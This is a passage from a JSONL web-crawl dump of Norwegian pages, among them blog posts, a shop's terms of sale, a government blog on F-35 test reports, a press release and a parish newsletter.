spr\u00e5koppl\u00e6ring i grunnskolen og som mangler karakter i mer enn halvparten av fagene\n      - for s\u00f8ker til Vg2 eller Vg3 med enkeltvedtak om spesialundervisning og som mangler karakter i flere fag eller f\u00f8lger et planlagt l\u00f8p mot grunnkompetanse\n      - for s\u00f8kere som m\u00e5 behandles individuelt av andre s\u00e6rlige, tungtveiende grunner.\n", "language": "no", "__index_level_0__": "8a5d7607-0b47-41be-b291-21193d50d29e"}
{"url": "http://oysteinlive.blogspot.com/2012/08/jeanettes-bursdag.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00064.warc.gz", "warc_date": "2018-03-24T23:12:45Z", "text": "hvis du lurer p\u00e5 hva familien min og jeg gj\u00f8r...\n\n## tirsdag 7. august 2012\n\n### Jeanettes bursdag\n\nHar man bursdag, s\u00e5 har man bursdag. Restaurant Chi i Lillestr\u00f8m er kjent for god mat, og Sushien er legendarisk. Det ble litt av hvert p\u00e5 oss. I tillegg til en kalorifattig dessert...\n\n\n\n  - \n    \n    Bakermester harepus\n    \n    Karneval i Elgen barnehage i dag. Og n\u00e5r temaet er Hakkebakkeskogen, m\u00e5tte Theodor selvsagt v\u00e6re Bakemester harepus.\n\n", "language": "no", "__index_level_0__": "4b03410a-6207-4a52-b0e1-a5980bc734e3"}
{"url": "http://slideplayer.no/slide/2054014/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:18:22Z", "text": " 2  P\u00c5 MED HANSKEN PIKER \\!\\!\\! Nytt golfprodukt for kvinner - klar til golfsesongen 2004 S\u00e5 n\u00e5dde dillen ogs\u00e5 greenen i Norge: - designer golfhansken til den kvinnelige golfspiller som \u00f8nsker \u00e5 ta seg godt ut p\u00e5 golfbanen \\!   \n\n 3  \"GloveIt\" - som den amerikanske designer golfhanske heter, er en kjempesuksess i hjemlandet. Her har de kvinnelige golfspillerene ofte opp til 5 ulike designer hansker som de benytter alt etter hvilke kl\u00e6r de har p\u00e5, om de er p\u00e5 driving range, i klubbhuset, p\u00e5 banen, til match etc..   \n\n 4  \"GloveIt\" finnes i 11 ulike designs, fra skotskrutet og tigerstripet til mer fargstr\u00e5lende kunstferdig utgaver - det finnes et design for enhver smak og anledning. Hanskene leveres i eksklusiv matchende stoffpose, som beskytter hansken n\u00e5r den ikke er i bruk og gj\u00f8r det enklere \u00e5 finne i baggen.   \n\n", "language": "no", "__index_level_0__": "b4a91fb4-c615-4e98-b917-53c4441616f5"}
{"url": "http://ankasdesign.blogspot.com/2007/09/salgsbetingelser.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:09:28Z", "text": "\n\n## onsdag 26. september 2007\n\n### HVIS DU VIL BESTILLE\n\nPrisen for alle platene er eksklusiv frakt.  \n  \nAlle ordrene sendes ut s\u00e5 fort som mulig. Jeg f\u00f8lger Postens forsendelsesgebyrer.  \n  \nDersom ikke annet er oppgitt sender jeg varene med billigste alternativ og uten sporing.  \nJeg frasier meg alt ansvar for uforsikrede forsendelser som m\u00e5tte forsvinne i postgang p\u00e5 lik linje med Posten. Det betyr at evt. tap av forsendelser som ikke er forsikret gjennom Posten m\u00e5 anses som tapt. Vil du v\u00e6re p\u00e5 den sikre siden velger du \"sporing\" eller rekommandt sending som forsendelsesmetode.  \n\u00d8nsker du likevel \u00e5 f\u00e5 tilsendt varene p\u00e5 billigst mulig m\u00e5te s\u00e5 er dette alts\u00e5 p\u00e5 egen risiko.  \nOm pakken blir sendt med sporingsnummer vil du f\u00e5 opplyst dette nummeret.  \n  \nBETALING  \nN\u00e5r du bestiller vil du motta en ordrebekreftelse bel\u00f8p, kontonummer og eventuelle kommentarer. S\u00e5 snart pengene er registrert p\u00e5 min konto sender jeg varene til den den adressen du har registrert deg med. Det kan ta et par arbeidsdager fra du har overf\u00f8rt penger til de vises p\u00e5 nettbanken min. Dersom du ikke oppgir adresse ved bestilling f\u00e5r jeg ikke sendt deg varene f\u00f8r jeg mottar skriftlig betalingsinformasjon fra banken.  \n  \nLAGERBEHOLDNING  \nJeg skal gj\u00f8re mitt beste for \u00e5 v\u00e6re s\u00e5 oppdatert som mulig til enhver tid, men tar forbehold om at jeg kan bli utsolgt for noen plater.  \n  \nENGROSSALG  \nJeg selger ogs\u00e5 engros. Ta kontakt for priser og kriterier.  \n  \nSp\u00f8r meg om du lurer p\u00e5 noe\\!\n\nAnka  kl. \n\n18:11           \n\n \n## Mine plater\n\n          - 2C ATC-PLATA I BRUK\n\n## Bakgrunn\n\nJeg begynte med stempling i februar i 2004 og har v\u00e6rt fullstendig hekta p\u00e5 denne hobbyen fra f\u00f8rste dag. Jeg fant fort ut at stempler; det f\u00e5r man bare aldri nok av\\!  \nJeg savnet etterhvert tekster til spesielle form\u00e5l og bestemte meg da for \u00e5 lage mine egne stempler. F\u00f8rst \u00e5 fremt for \u00e5 f\u00e5 de tekstene jeg selv \u00f8nsket, men og for ogs\u00e5 andre kunne f\u00e5 glede av det jeg lager.  \nSlik oppsto alts\u00e5 \"Ankas design\".  \nDet er vanskelig \u00e5 sette stemplene sine i en bestemt \"b\u00e5s\", men om jeg skal trekke fram et kjennetegn for mine tekster s\u00e5 m\u00e5 det v\u00e6re skikkelig \"nordnorsk\" humor som passer likegodt til snille og s\u00f8te kort som de mer dristige og slemme kortene, alt avhengig av motivet du setter det sammen med. Her skulle alts\u00e5 kunne v\u00e6re noe for enhver smak\\!  \n\n    \n\n", "language": "no", "__index_level_0__": "8dd9bcbc-a56f-4ed1-9a98-3621610432d9"}
{"url": "http://newutd.no/villa-billetter-tilgjengelige/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:29:58Z", "text": "# Villa-billetter tilgjengelige\n\nOppdatert: 15. August 2012\n\nB\u00e5de medlemmer og ikke-medlemmer som skal over p\u00e5 Villa-kampen 2. september kan n\u00e5 bestille billetter til kampen.\n\nBillettene ble lagt ut 10. august, og det er fortsatt mange ledige seter igjen. Klikk her for \u00e5 bestille billetter.\n\n**Hotell**\n\nDersom du ikke har bestilt hotell enda setter vi stor pris p\u00e5 at du gj\u00f8r det gjennom linken under. Der finner du en br\u00e5te med hoteller i Newcastle i alle budsjettklasser.\n\n**Flybilletter**\n\nVi f\u00e5r ogs\u00e5 en bestemt sum for alle flyreiser bestilt via newutd.no. Her kan du s\u00f8ke p\u00e5 reiser over fjorden. Toon Army Norway f\u00e5r inn 9 % av totalsummen i provisjon, noe som brukes til videreutvikling av supporterklubben.\n\n\nNestleder i Toon Army Norway og NUFC-supporter siden 1994.\n\n", "language": "no", "__index_level_0__": "3e76fe34-3328-4c69-8235-d5fb8c9e823b"}
{"url": "http://nettsteder.regjeringen.no/kampfly/2015/01/14/10-ting-nyttig-a-vite-om-de-ventede-f-35-rapportene/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:24:40Z", "text": "# 10 ting som er nyttig \u00e5 vite om de ventede F-35-rapportene\n\nPublisert av Endre Lunde \u00a0 14. januar 2015\n\nI begynnelsen av et nytt \u00e5r er det mange som har som jobb \u00e5 oppsummere det forrige.\u00a0I\u00a0l\u00f8pet av de neste dagene og ukene vil derfor to ulike kontorer i Pentagon publisere sine kritiske gjennomganger av testing og produksjon av F-35 i 2014 i henhold til amerikanske krav og regler.\u00a0Dette er viktige rapporter for oss, og vi tar dem sv\u00e6rt alvorlig.\u00a0De er med og sikrer at vi f\u00e5r den kvaliteten vi betaler for og er et viktig bidrag til v\u00e5r risikostyring.\u00a0Samtidig s\u00e5 m\u00e5 vi v\u00e6re bevisste p\u00e5 hvem det er som gir ut disse rapportene, og hva de egentlig sier (og hva de ikke sier) slik at b\u00e5de vi og dere der ute kan tolke dem riktig. Her har vi derfor samlet 10 ting\u00a0som kan v\u00e6re nyttig \u00e5 vite om de to kontorene og rapportene deres.\n\nDirector, Operational Test and Evaluation (DOT\\&E)\n\nDen f\u00f8rste rapporten kommer allerede om noen dager, og\u00a0gis ut av direkt\u00f8r for operasjonell test og utvikling i det amerikanske forsvarsdepartementet, (Director, Operational Test and Evaluation \u2013 DOT\\&E). Den\u00a0produseres \u00e5rlig etter krav fra kongressen som vil ha jevnlige oppdateringer om status innen alle de st\u00f8rste amerikanske forsvarsanskaffelsene. Direkt\u00f8ren og hans stab rapporterer derfor hvert \u00e5r om status innen en lang rekke ulike programmer, og ikke bare F-35 (2013-rapporten dekket for eksempel 312 ulike programmer.)\n\nDet som er viktig \u00e5 vite om denne rapporten er at:\n\n\u2013 **dette er en avviksrapport**. Den vil derfor sjelden si noe om hva som har g\u00e5tt bra, men fokusere p\u00e5 det DOT\\&E mener har g\u00e5tt d\u00e5rlig, og mulige konsekvenser av dette \u2013 gjerne i ytterste konsekvens. Den\u00a0gir derfor bare et inntrykk av deler av F-35-utviklingen, og m\u00e5 ses i sammenheng med andre rapporter og oppdateringer om fremdriften i programmet.\n\n**\u2013 dette er ikke Pentagons offisielle mening om F-35.** DOT\\&E er et uavhengig organ innen det amerikanske forsvarsdepartementet, og resten av departementet er ikke n\u00f8dvendigvis enig i det de sier, og DOT\\&E f\u00e5r heller ikke alltid rett. Det flernasjonale programkontoret JPO, som i denne sammenheng fungerer som Pentagons programkontor for F-35, vil komme med sine vurderinger p\u00e5 lik linje med DOT\\&E.\n\n\u2013 **den vil ikke avdekke noen nye og hittil ukjente feil eller mangler i F-35**. DOT\\&E baserer seg i hovedsak p\u00e5 informasjon fra test og utviklingsmilj\u00f8ene i det flernasjonale programmet og i det amerikanske luftforsvaret og den amerikanske marinen. Dette er informasjon som ogs\u00e5 rapporteres til partnerlandene, inkludert Norge, og er derfor kjent og tatt med i de l\u00f8pende norske vurderingene av flyet. Det som er nytt i rapporten er vurderingene DOT\\&E kommer med, samt erfaringene fra bes\u00f8k til testbasene.\u00a0Disse\u00a0blir viktige for oss n\u00e5r vi skal f\u00f8lge opp produksjonen av de norske flyene mot det flernasjonale programmet og produsentene av flyet og motoren.\n\n\u2013 **den gir et \u00f8yeblikksbilde av F-35-programmet**, et bilde som p\u00e5 mange omr\u00e5der allerede kan v\u00e6re utdatert. DOT\\&E henter inn informasjon gjennom ulike m\u00f8ter og inspeksjoner i l\u00f8pet av \u00e5ret, og det vil ofte v\u00e6re fremdrift og tiltak som produsentene og/eller programmet har truffet i etterkant som ikke kommer med i rapporten. Blant annet er det vanlig at flere av anbefalingene DOT\\&E kommer med allerede er fulgt opp n\u00e5r rapporten kommer ut. De avslutter ogs\u00e5 informasjonsinnhentingen sin p\u00e5 h\u00f8sten, og f\u00e5r dermed uansett ikke med seg de siste m\u00e5nedene med utvikling i det \u00e5ret de rapporterer for \u2013 i dette tilfellet 2014.\n\n\u2013 **m\u00e5let med et testprogram er \u00e5 finne feil**. I noen tilfeller er m\u00e5let med testing ikke \u00e5 se *OM* noe g\u00e5r i stykker, men *N\u00c5R*. Dette gjelder blant annet sprekkdannelser i skroget, som var mye omtalt i mediedekningen av fjor\u00e5rets rapport.\u00a0I det tilfellet var m\u00e5let nettopp \u00e5 sette flyskroget under press, og se n\u00e5r sprekkdannelser oppstod, og om noe burde endres i flyet for \u00e5 h\u00e5ndtere dette. At det finnes feil er derfor ikke n\u00f8dvendigvis negativt, men noe som gir oss mer informasjon om hvor mye F-35 t\u00e5ler.\u00a0Dette igjen kan vi bruke for \u00e5 planlegge senere vedlikehold og oppgraderinger.\n\n\u2013 **dette kontoret er kommet mye tidligere p\u00e5 banen i F-35-programmet enn det som er vanlig i amerikanske anskaffelsesprogrammer, noe som p\u00e5virker omtalen av F-35**. Som navnet tilsier har DOT\\&E ansvar for operasjonell testing, dvs. hvordan flyet fungerer i operativ tjeneste. Slik testing er likevel noe man vanligvis begynner med f\u00f8rst etter at utviklingsprogrammet er ferdig. For F-35 skjer ikke dette f\u00f8r i 2017, men siden produksjon av flyet og trening allerede er i gang har en valgt \u00e5 f\u00e5 DOT\\&E inn i prosessen mens flyet fortsatt er under utvikling. Dette er for \u00e5 sikre\u00a0at deres innspill kommer med s\u00e5 tidlig som mulig. Dette er p\u00e5 mange m\u00e5ter positivt, og har bidratt til at feil og mangler blir\u00a0fanget opp tidligere.\u00a0I et\u00a0tidligere program ville kanskje ikke dette blitt gjort noe med f\u00f8r mye senere etter at flyet\u00a0var tatt i bruk, noe vi blant annet s\u00e5 under utviklingen av dagens F-16. Samtidig f\u00f8rer dette til at DOT\\&E mange ganger vil p\u00e5peke at F-35 ikke har god nok modenhet eller har for store begrensninger til at de kan drive fullverdig operativ testing. Dette stemmer selvsagt, men det er mye p\u00e5 grunn av at DOT\\&E denne gang er tidligere ute enn de ellers ville v\u00e6rt, og dermed har flyet heller ikke kommet like langt som de er vant til p\u00e5 det stadiet de involveres. De vil noen ganger ogs\u00e5 bruke flyets ytelser i test-fasen som grunnlag for kritikk av operativ evne,\u00a0til tross for at flyet fortsatt ikke har tillatelser eller mulighet til \u00e5 bruke alle systemene om bord, eller man\u00f8vrere like hardt som de skal kunne gj\u00f8re senere. Dette er ting som vil justeres etter hvert som utviklingen fullf\u00f8res.\n\n-----\n\nDepartment of Defense Inspector General (DoD IG)\n\nDet amerikanske forsvarsdepartementet omsetter hvert \u00e5r for enorme summer, og det ble derfor p\u00e5 80-tallet opprettet en egen internrevisjon som skulle se p\u00e5 hvorvidt f\u00f8derale regler for drift og anskaffelse f\u00f8lges i bruken av disse midlene. Dette er ogs\u00e5 en rapport som produseres med jevne mellomrom, og som leveres til kongressen.\n\nDet som er viktig \u00e5 vite om denne rapporten er at:\n\n**\u2013 den avdekker ingen feil i designet av F-35.** Rapporten vurderer faktisk ikke flyet i hele tatt, men peker blant annet p\u00e5 hvor mange ganger kvalitetskontrollen har m\u00e5ttet gripe inn i l\u00f8pet av \u00e5ret for \u00e5 korrigere hendelser i produksjonen av flyet.\u00a0Dette\u00a0igjen viser hvor\u00a0strenge krav som stilles til kvalitet i produksjonen av F-35.\n\n**\u2013 p\u00e5legg om utbedringer som gis av DoD IG og som omtales i denne rapporten gjelder ikke flyet, men produksjonsprosesser og anlegg**. Det vil si at n\u00e5r DoD IG melder at enten Lockheed Martin, Pratt & Whitney eller andre underleverand\u00f8rer er i ferd med \u00e5 fikse noe, s\u00e5 gjelder dette IKKE utbedringer av feil i flyet, men i prosedyrer, dokumentasjon og annet som ikke er henhold til reglene.\n\n**\u2013\u00a0den teller\u00a0med alt fra verkt\u00f8y som legges p\u00e5 galt sted til materialer som ikke brukes riktig og for d\u00e5rlig oppl\u00e6ring av personell.** Den omfatter dermed alt fra slurv til mer alvorlige feil og mangler i produksjonsprosessen, og alt telles med i det overordnede bildet.\n\n**\u2013 rapporten vurderer ogs\u00e5 det flernasjonale programkontoret (JPO) og andre deler av Pentagon**. Om DoD IG oppdager for d\u00e5rlige rutiner s\u00e5 gir det oss som partner viktig dokumentasjon for \u00e5 kreve at kontrollen blir bedre og at ledelsen i programmet treffer tiltak. Den blir derfor et viktig redskap for oss n\u00e5r vi skal sikre at prosessen rundt norske F-35 er best mulig.\n\n-----\n\nBegge disse rapportene er sv\u00e6rt kompliserte, og\u00a0kan v\u00e6re\u00a0krevende \u00e5 sette seg inn i\u00a0uten at en har kjennskap til programmet. S\u00e5 snart rapportene er offentlige vil vi derfor legge ut artikler b\u00e5de her p\u00e5 bloggen og p\u00e5 de offisielle nettsidene v\u00e5re www.kampfly.no der vi g\u00e5r gjennom noen av de viktigste punktene. Vi vil ogs\u00e5 invitere journalister som er interessert\u00a0i rapportene til bakgrunnsamtaler hvor fagfolk fra programmet vil kunne g\u00e5 gjennom innholdet, og svare p\u00e5 sp\u00f8rsm\u00e5l. Vi kan heller ikke love \u00e5 ha\u00a0endelige svar p\u00e5 alt, men \u00f8nsker \u00e5 gj\u00f8re v\u00e5rt for \u00e5\u00a0bidra til debatten om F-35.\u00a0F\u00f8lg oss gjerne p\u00e5 Twitter og p\u00e5 nyhetsbrevet v\u00e5rt for mer informasjon\u00a0og oppdateringer om rapportene.\n\n", "language": "no", "__index_level_0__": "81b9a786-193c-442f-89bc-3097a28363cc"}
{"url": "https://www.regjeringen.no/no/aktuelt/eu-etablerer-dialog-om-grunnleggende/id2354665/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:51:35Z", "text": "# EU etablerer dialog om grunnleggende rettsstatsprinsipper\n\nPressemelding | Dato: 16.12.2014  | Utenriksdepartementet \n\nEU har i dag forpliktet seg til \u00e5 etablere en intern dialog om medlemslandenes oppf\u00f8lging av grunnleggende rettsstatsprinsipper slik de har forpliktet seg til gjennom EUs traktater. Dialogen vil finne sted p\u00e5 \u00e5rlig basis.\n\nStatsr\u00e5d for E\u00d8S-saker og forholdet til EU, Vidar Helgesen, hilser konklusjonene fra EUs ministerr\u00e5d velkommen.\u00a0 - Vedtaket er et skritt i riktig retning. Men det er oppf\u00f8lgingen i konkrete situasjoner som vil avgj\u00f8re om denne ordningen vil bety noe i praksis, sier Helgesen.\n\n\\- Vi har fra norsk side ved flere anledninger p\u00e5pekt at Ungarn bryter avtaler de har med Norge om E\u00d8S-midlene blant annet ved \u00e5 aksjonere mot deler av sivilt samfunn og derigjennom \u00e5 bryte de forpliktelsene de har n\u00e5r det gjelder grunnleggende rettigheter. Denne dialogen b\u00f8r derfor brukes aktivt overfor Ungarn, sier E\u00d8S- og EU-minister Vidar Helgesen.\n\n\\- Det er viktig for EU \u00e5 ta tak i de utfordringer manglende etterlevelse av grunnleggende rettigheter medf\u00f8rer. Det er positivt at dette f\u00f8lges opp n\u00e5, men jeg hadde \u00f8nsket at EU gikk lengre og hadde f\u00e5tt til en mer konkret mekanisme for oppf\u00f8lging. Verdien av denne dialog-ordningen vil avhenge av hvordan EU f\u00f8lger opp vedtaket, legger statsr\u00e5den til.\n\nTilsvarende ordninger for dr\u00f8fting av medlemslands etterlevelse av grunnleggende rettigheter finnes i dag innen Europar\u00e5det og i FN.\n\n", "language": "no", "__index_level_0__": "2038a25d-6224-4052-8b78-f2dd00af5664"}
{"url": "http://docplayer.me/3811098-I-n-n-h-o-l-d-nr-2-mars-2015-66-argang-side-seniorlaering-120-vann-122-kyrkjeakademi-124-salme-128-leksehjelp-136-misjon-138-glimt-140.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:31Z", "text": "\n\n2 I tillit til Gud Maria, Jesu mor, er en av de personene i Bibelen som fascinerer meg. Mange protestantiske kristne er oppl\u00e6rt til at det med Maria, det er farlig det, som Ludvig i Fl\u00e5klypa ville ha sagt. N\u00e5r vi reiser s\u00f8r eller \u00f8st i Europa kan det synes som Maria blir vel stor, og Jesus i minste laget i enhver forstand av ordet. Jesu mor, er mer enn akkurat Jesu mor, hun er ogs\u00e5 et eksempel for alle oss andre som tror. Av Even Tengesdal Even Tengesdal (52) er teolog og han er leder av Grenland Familiekontor. Han bor p\u00e5 Gvarv. Da Maria som veldig ung kvinne fikk budskapet om at hun skulle bli mor til han alle j\u00f8der ventet p\u00e5 ble hun ogs\u00e5 satt i en veldig vanskelig situasjon. Hun m\u00e5 ha visst det og likevel sa hun til engelen som kom med budskapet at la det skje med meg som du har sagt. Marias tro viser seg mange \u00e5r etterp\u00e5 i fortellingen om bryllupet i Kana. Da vertene for selskapet kom i den kritiske situasjonen at de var tom for vin stolte Maria p\u00e5 at situasjonen var i Jesu h\u00e5nd, selv om hun var blitt avvist noks\u00e5 bryskt av Jesus. N\u00e5r hun sier til ham at det ikke var mer vin, sier Jesus til moren sin at Kvinne, hva vil du meg? Lite sympatisk svar, men likevel sier hun: Det han sier til dere, skal dere gj\u00f8re. Troen har et innhold, derfor er det noe som er rett og feil tro. Men like viktig er det Maria l\u00e6rer oss at \u00e5 tro framfor alt er \u00e5 ha tillit til Gud. Hva kan Maria har forst\u00e5tt om hva Jesus kom til \u00e5 gj\u00f8re? Ikke godt \u00e5 vite, men hun viste oss at tro er \u00e5 ha tillit til at Gud tar vare p\u00e5 oss. Mangler vi tillit til noen mennesker vil vi v\u00e6re p\u00e5 vakt og lett bli urolige over det de sier og gj\u00f8r. De menneskene vi har tillit til oppfatter vi annerledes enn de vi ikke stoler p\u00e5. Selvsagt. Marias liv, og livet til hennes s\u00f8nn, utviklet seg sannsynligvis ikke slik hun hadde tenkt, men hun stolte tydeligvis p\u00e5 Jesu makt. Etter \u00e5 ha lest mange b\u00f8ker om teologi og h\u00f8rt mange kloke kvinner og menn tale om tro lurer jeg noen ganger p\u00e5 hva jeg har grepet av det ubegripelige. 66 HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n er teolog og han er leder av Grenland Familiekontor. Han bor p\u00e5 Gvarv.\")\n\n3 Sauherad og Nes sokner\u00e5d \u00c5rsmelding 2014 Sauherad og Nes sokner\u00e5d har i 2014 hatt f\u00f8lgende sammensetning: Tom Arne M\u00f8llerbr\u00e5ten, leder, Lillil Bergan, nestleder, Torunn Hesthag, Jarl Olav Rugtveit, Arne Torgeir Ripegutu, Dag Gjermund Roheim, Ingebj\u00f8rg Kaljord Svalebj\u00f8rg, Brit-Vera Lie, Leif Raust\u00f8l, fungerende sokneprest. Margrete Nitter Gundersen, 1. vara (m\u00f8ter fast), Elin Kamilla Omholt McGowan, 2. vara, Bente Irene Vogsland, 3. vara, Halvor Sunde, 4. vara, Edith Pernille Norheim, 5. vara Fellesr\u00e5d (driftsutvalg) Fellesr\u00e5d for Sauherad og Nes er sokner\u00e5det pluss kommunens representant. Hans Sundsvalen er kommunens representant. Driftsutvalget (DU) best\u00e5r av Tom Arne M\u00f8llerbr\u00e5ten, Lillil Bergan, Dag Gjermund Roheim, Arne Torgeir Ripegutu i tillegg til ordf\u00f8rer Hans Sundsvalen. Det f\u00f8res egen m\u00f8tebok for DU, og sakene refereres i sokner\u00e5det. Sokner\u00e5det hadde 8 m\u00f8ter og behandlet 32 saker. Driftsutvalget hadde 9 m\u00f8ter og behandlet 32 saker. Av viktige saker sokner\u00e5det har behandlet, kan nevnes: Strategidag med stab og sokner\u00e5d 25. januar hadde staben og sokner\u00e5det en hel dag sammen der fokus var p\u00e5 \u00e5 komme fram til en strategi for fremtiden, samt \u00e5 jobbe fram et motto og en visjon som kunne angi retningen. Det ble en sv\u00e6rt spennende og iderik dag. Det ble konkludert med et motto, en visjon og noen verdier som skulle prege menigheten framover. MOTTO: Dype r\u00f8tter utstrakte greiner VISJON: Dele en tro p\u00e5 Gud som utfordrer og gir livsmot og v\u00e6re en \u00e5pen og inkluderende kirke VERDIER: I Inkluderende fellesskap II \u00c5pen, raus og ekte III Tro som engasjerer S\u00f8ndagsskole, flere G17 og menighetsweekend P\u00e5 strategidagen den 25. januar ble det ogs\u00e5 vedtatt tre satsingsomr\u00e5der for det neste \u00e5ret. N\u00e5r vi n\u00e5 skriver \u00e5rsmelding, kan vi glede oss over at alle tre ble gjennomf\u00f8rt i l\u00f8pet av \u00e5ret. Etter mange \u00e5rs pause har vi endelig f\u00e5tt en god gjeng med ledere til \u00e5 starte opp igjen s\u00f8ndagsskole. Det er s\u00f8ndagsskole b\u00e5de p\u00e5 G17, samt p\u00e5 en del andre gudstjenester. Stort oppm\u00f8te. I de f\u00f8rste \u00e5rene med G17 har det v\u00e6rt holdt fire G17 i \u00e5ret. Dette ble fra og med i h\u00f8st \u00f8kt til seks, hvorav en av disse er p\u00e5 menighetsweekenden. Det tredje satsingsomr\u00e5det v\u00e5rt var \u00e5 arrangere menighetsweekend igjen. Det er mange \u00e5r siden sist oktober fylte vi J\u00f8nnbu Fjellkyrkje med 50 deltakere. Det ble en meget god weekend med variert program. S\u00e6rlig moro var det at det var mange barn og ungdom med. Sindre Aase, Ida Ytreland og Trond Haugen var i arrangementskomiteen. P\u00e5 s\u00f8ndag ble det arrangert G17-gudstjeneste og middag der ende flere fra menigheten dukket opp. Vi satser igjen i Innf\u00f8ring av ny salmebok Sokner\u00e5det vedtok en innstilling p\u00e5 slutten av 2013 om at vi ville ta i bruk den nye salmeboken 1. s\u00f8ndag i advent. Denne innstillingen ble vedtatt p\u00e5 soknem\u00f8tet i mars. Et innsamlingsarbeid har v\u00e6rt drevet siden det, og det var med stor glede vi kunne dele ut de nye salmeb\u00f8kene p\u00e5 gudstjenesten 30. november, samme helg salmeboka ble sunget gjennom p\u00e5 NRK. Vi ser fram til \u00e5 bruke denne i mange \u00e5r. del a Menighetsarbeid Sokner\u00e5dets utvalg: Kirkeverge Trond Magnus Haugen viser stolt fram ny salmebok. Den ble tatt i bruk 1. s\u00f8ndag i advent. 1) Gudstjenesteutvalget Medlemmer: Even Tengesdal (leder), Bente Vogsland, Torbj\u00f8rn Omholt, Brit- 68 HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n Fellesr\u00e5d for Sauherad og Nes er sokner\u00e5det pluss kommunens representant. Hans Sundsvalen er kommunens representant.\")\n\n5 Overf\u00f8rt i 2014 til misjonsprosjektet, Tamboskolen (Normisjon): 1. Nes kyrkje, 2. februar offer kr 4088,00 2. Nes Menighetshus 2. feb. kollekt 4284,00 3. Nes kyrkje 25. mai offer 4123,00 4. Sauherad kirke 8. juni offer 3551,00 5. Sauherad kirke, den 7. sept offer 2160,00 6. G\u00e5ve den 9. okt 5000,00 7. NMH Misjonskveld \u00e5res. 8409,00 Til sammen kr 31615,00 Oversikt over innsamlede midler til misjonsprosjektet: Overf\u00f8rt i 2009 kr , , , ,979, ,433, ,135,00 Misjonsutvalget takker alle som har st\u00f8ttet prosjektet og gjort resultatet mulig. 3) Kultur Pilegrimsvandring Det ble gjennomf\u00f8rt pilegrimsvandring fra Nes kyrkje til B\u00f8 gamle kyrkje 29. mai Kristi Himmelfartsdag. Ogs\u00e5 dette \u00e5ret var oppslutningen god, antydningsvis mellom 300 og 400 vandrere som gikk hele eller deler av strekninga. Skjedde mye underveis, som mulighet for \u00e5 bli rodd AV Olavs Menn med Vikingskipet \u00c5sa fra \u00c5rnes brygge til Nes brygge, morgenb\u00f8nn i Nes kyrkje, salmesang p\u00e5 G\u00e5rahaugen, avslutningssamlinger i B\u00f8 gamle kyrkje. P\u00e5 Evju bygdetun, H\u00f8rte Dampfarveri, B\u00f8 museum og B\u00f8 Prestegard var det tilbud mat. Det var organist transportordning slik at vandrerne kunne komme tilbake til der de hadde parkert bilen. Pilegrimsvandringa er et fellesprosjekt mellom kommunenes kulturetater i B\u00f8 og Sauherad, menighetene i B\u00f8 og Sauherad, og flere lag og foreninger i begge kommunene. Ivar Solbu fungerer som vandringskoordinator. I 2014 ble det gjennomf\u00f8rt en Vandringskveld i B\u00f8 gamle kyrkje onsdag 28. mai, med foredrag av Herleik Baklid om lokale pilegrimstradisjoner, og sang og felespill ved Ingvill Buen Garn\u00e5s og Anne Hytta. Eplefest I forbindelse med Norsk Eplefest, siste helga i september, var Nes kyrkje \u00e5pen for en vandringsmeditasjon. Ivar Solbu leste dikt og det var musikk ved Johannes Sundsvalen og Bruno Hageman. Framm\u00f8tet var godt, og tilbakemeldingene sv\u00e6rt positive. 4) Kirkemusikalsk utvalg Medlemmer: Bruno Hageman (leder), Ole-Arnfinn Hagen, Lise Mette M\u00f8llerbr\u00e5ten, Ingebj\u00f8rg Kaljord Svalebj\u00f8rg Dette utvalget ble startet i august og har hatt tre m\u00f8ter i h\u00f8st. I forbindelse med pilegrimsvandringen i mai ble det arrangert en kulturkveld i gamlekyrkja i B\u00f8. Herleik Baklid fortalte om lokal pilegrimstradisjoner. Ingvill Buen Garn\u00e5s og Anne Hytta framf\u00f8rte musikk med vandringsmotiv. S\u00e6rlig fokus denne h\u00f8sten hadde utvalget p\u00e5 Salmekvelden i Nes kyrkje 18. nov i forbindelse med innf\u00f8ringen av ny salmebok. Kvelden ble ledet av Bruno Hageman, i tillegg deltok en stor forsangergruppe, Liisa Sepp, Henrik \u00d8degaard og Martin Ytreland. 5) Midt-Telemark Soul Children Ledere: Helene Haukvik, Martin Ytreland, Jenny Brynsholmen, Ida Ytreland, Kristin Tolo. Midt Telemark Soul Children er et barnekor fra skolealder som \u00f8ver hver 14. dag p\u00e5 Nes menighetshus. \u00d8velse fra 18:00-19:30. Avslutter med kveldsmat. Vi har en fordeling av foreldre som har ansvar for \u00e5 lage til kveldsmat. Koret st\u00e5r for innkj\u00f8p. Kontingenten er satt til i semesteret. Vi hadde flere opptredener i 2014, og 2014 ble et veldig bra \u00e5r for koret. Vi hadde Barnekoret Soul Children har mange ivrige sangere, og hatt et sv\u00e6rt aktivt \u00e5r. 72 HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n\n\n\n\n7 7) Trosoppl\u00e6ring I februar var det en dags repetisjons\u00f8velse for de 4-\u00e5ringne som hadde f\u00e5tt 4-\u00e5rs bok f\u00f8r jul. Barna fikk utdelt arbeidsboka \u00abAlle gode ting\u00bb utgitt av Skrifthuset. Dette var p\u00e5 Nes menighetshus. Skattejakt for 6-\u00e5ringer - 1 dags arrangement. Arrangementet var i mars i Sauherad kirke. Det var god oppslutning. Servering av p\u00f8lser/p\u00f8lsebr\u00f8d, saft og kaffe utenfor kapellet. Sauherad og Nes sokn hadde mange med p\u00e5 24-hours p\u00e5 Gullbring i B\u00f8 i mars. Trosoppl\u00e6rer var 